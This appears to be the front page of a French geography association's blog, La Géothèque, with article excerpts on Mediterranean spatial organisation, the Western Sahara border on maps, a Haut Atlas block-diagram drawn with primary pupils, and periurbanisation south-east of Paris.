Les éléments manquants de la légende sont : Remparts de Théodose, églises orthodoxes, Sainte Sophie, ports, quartiers commerçants peuplés par les latins (Vénitiens, Génois…), Grand bazar, palais de Topkapi, anciennes églises orthodoxes transformées en mosquées.

L’organisation des espaces méditerranéens en France

Début 2016, la Géothèque a perdu une partie des images hébergées sur le site, une avanie a priori sans rapport avec les horribles attaques de robots-pirates qui, tels les Barbaresques d’autrefois en Méditerranée, ont perturbé l’activité du site pendant l’année 2015. C’est finalement pour nous l’occasion de présenter à nos visiteurs les plus récents, ou de rappeler au souvenir des anciens, quelques documents que les lois de la publication en ligne avaient relégués au fond du tiroir. C’est le cas de cette illustration sur les espaces méditerranéens, élaborée pour un cours sur les espaces ruraux destiné Organisation des espaces méditerranéensaux classes préparatoires BCPST (les « agro-véto », rares prépas scientifiques à avoir la chance de faire de la géographie). Le principe est de croiser les données physiques avec les formes d’occupation de l’espace traditionnelles et héritées. Le tout se veut un outil pensé pour installer, en les reliant entre eux de façon dynamique, la plupart des notions et du vocabulaire de base de l’étude des espaces méditerranéens français et européens. Lire la suite

L’épineux Sahara Occidental et les tiretés de la colère

Dans un article récent, la petite carte de localisation de la vallée d’Oukaïmeden dans le Haut-atlas marocain a fait l’objet d’une véritable autocensure de la part de la Géothèque. La frontière en tiretés qui séparait le Maroc du Sahara Occidental, par lui occupé, a été tout simplement effacée pendant le week-end. C’est l’auteur de ces lignes qui en est le responsable.

Maroc-sahara-occidentalLors de la fabrication de la carte, le tracé de cette ligne a été un geste naturel, puisqu’elle apparaît sur toutes les cartes du Maroc visibles en France, au point qu’aujourd’hui, on la voit sans la voir. Vive inquiétude de mon collègue et homonyme installé au Maroc : la question du Sahara Occidental est plus épineuse là-bas que je ne l’aurais imaginé. Inculquée très tôt par l’enseignement primaire, l’idée d’un Sahara Occidental légitimement et historiquement intégré au pays est une évidence pour les Marocains. Il semble même qu’une carte présentant la frontière du Sahara Occidental ne puisse pas passer la douane et entrer dans le royaume. Dans la mesure où cette question était sans rapport avec la publication concernée, j’ai préféré censurer le cartouche de localisation pour ne pas mettre le collègue en difficulté, et revenir ici sur ce problème.

Le Sahara occidental est conquis par l’Espagne sur le royaume du Maroc en 1884 Lire la suite

Le mot du président

Chers lecteurs, chers ami-e-s de la géographie, chers curieux et curieuses,

L’association La Géothèque fêtera ses 5 ans en septembre prochain. Je vais vous épargner les analogies habituelles en ces circonstances (les premiers pas de la Géothèque, ses premiers mots, sa première fessée déculottée quand des pirates ont mis le site à sac, etc.) mais je félicite chacun des fondateurs, chacun des membres, chacun de ceux qui nous rendent visite régulièrement ou qui parlent de nous autour d'eux, d'avoir permis à la Géothèque d'être toujours debout en 2016.
Si la face visible de l'iceberg est un site internet (pas toujours) régulièrement mis à jour, des petites mains s'agitent pour faire vivre le site dans l'ombre, Lire la suite

Le Haut Atlas marocain, du terrain au dessin

oukaimeden-croquis-élève

Croquis de la vallée par un élève de CM2

Nous vous avions déjà présenté le travail de Stéphane Bouron, fortuitement homonyme de l’auteur de ces lignes, dans cet article sur le Haut atlas marocain. Cet instituteur en poste à l’école André Malraux de Rabat est retourné sur les lieux au printemps pour étudier plus longuement l’organisation spatiale de cette vallée montagnarde dont le thalweg dépasse les 2000 m d’altitude.

C’est l’occasion pour lui de faire de la « vraie » géographie avec des enfants de CM2, comme le montre le bloc-diagramme réalisé par l’un d’eux, ci-dessus, qui pourrait utilement inspirer bien des étudiants… A sa demande, j'ai réalisé à partir des croquis réalisés par Stéphane et sa classe le bloc-diagramme ci-dessous, en couleurs et en noir et blanc.

Oukaimeden2 Oukaimeden-NBLaissons la parole à ces élèves qui sont aujourd’hui en Sixième, Lire la suite

Carte : la périurbanisation au sud-est de Paris

Périurbanisation-Sud-Est-de-ParisUne nouvelle carte tirée du Bouron-Georges1Jean-Benoît Bouron, Pierre-Marie Georges, Les territoires ruraux en France, Une géographie des ruralités contemporaines. Ellipses, 456 p., 2015, desservie dans l’ouvrage par la contrainte du noir et blanc. La version couleur conviendra aux professeurs désireux de vidéoprojeter l’image à leurs élèves ou étudiants. Nous ne reviendrons pas ici sur les formes spatiales que prend la périurbanisation à l’échelle de l’agglomération (notons simplement au passage le rôle des forêts domaniales pour ralentir le front d’urbanisation, et inversement le rôle facilitateur du RER D2C’est l’existence d’un direct Paris-Melun qui explique la distance-temps de 35 minutes seulement entre les deux gares alors que des gares plus proches sont à 40 ou 50 minutes de trajet). Cette carte vise à placer dans un contexte plus vaste quatre vignettes représentant la morphologie du bâti, qui sont pour leur part à l’échelle de la carte topographique. Les quatre exemples que nous avons choisi permettent de s’exercer à la lecture des formes du bâti sur les cartes à grande échelle à partir de cas très individualisés. Lire la suite

Notes   [ + ]

1. Jean-Benoît Bouron, Pierre-Marie Georges, Les territoires ruraux en France, Une géographie des ruralités contemporaines. Ellipses, 456 p., 2015
2. C’est l’existence d’un direct Paris-Melun qui explique la distance-temps de 35 minutes seulement entre les deux gares alors que des gares plus proches sont à 40 ou 50 minutes de trajet